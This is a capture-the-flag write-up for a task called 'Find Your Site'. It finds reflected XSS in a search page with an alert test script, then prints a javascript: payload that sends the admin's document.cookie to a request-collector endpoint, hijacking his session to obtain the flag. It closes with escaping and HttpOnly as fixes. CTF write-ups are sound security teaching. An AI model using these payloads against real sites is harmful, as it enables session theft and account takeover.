Find Your Site

Full solution below. Spoilers ahead.

Task description

Mario added a search page to his links site. Being a bit lazy, he kept some useful information in cookies for easy access. You can register and log in to search and send links to the admin.

The original was in Croatian; this is my translation.

Does the page run scripts?

The task points at cookies again, and this time the useful one is the session cookie. A session cookie is the token that tells the site who you are after you log in. Whoever holds it is treated as that person, so taking the admin’s session cookie means becoming the admin.

First we checked whether the search page is vulnerable to cross-site scripting (XSS). XSS is when a page takes your input and runs it as part of the page, so a script you type executes in whoever’s browser views it. We searched for a tiny test script:

<script>alert("dimitri-dev")</script>

The page ran it and showed the pop-up, so it’s vulnerable. Anything we put there runs in the browser of whoever loads it, and the admin loads the links we send.

Sending his cookie to us

To receive the admin’s cookie we needed somewhere for his browser to send it. A request-collector service (we used Pipedream’s RequestBin) gives you a throwaway web address that records whatever is sent to it.

Then we sent the admin a link that, when his browser opens it, redirects to our collector with his cookies stuck on the end:

javascript:window.location = "https://<our-endpoint>/" + document.cookie;

document.cookie is the current page’s cookies, so this sends the admin’s cookies to our address. When he opened the link to check it, his browser delivered them to our collector. The flag was stored in his cookies alongside the session, so it arrived with them.

The fix is to never put raw input into the page (escape it, so a script shows as text instead of running), and to mark session cookies HttpOnly so document.cookie can’t read them even if a script does run.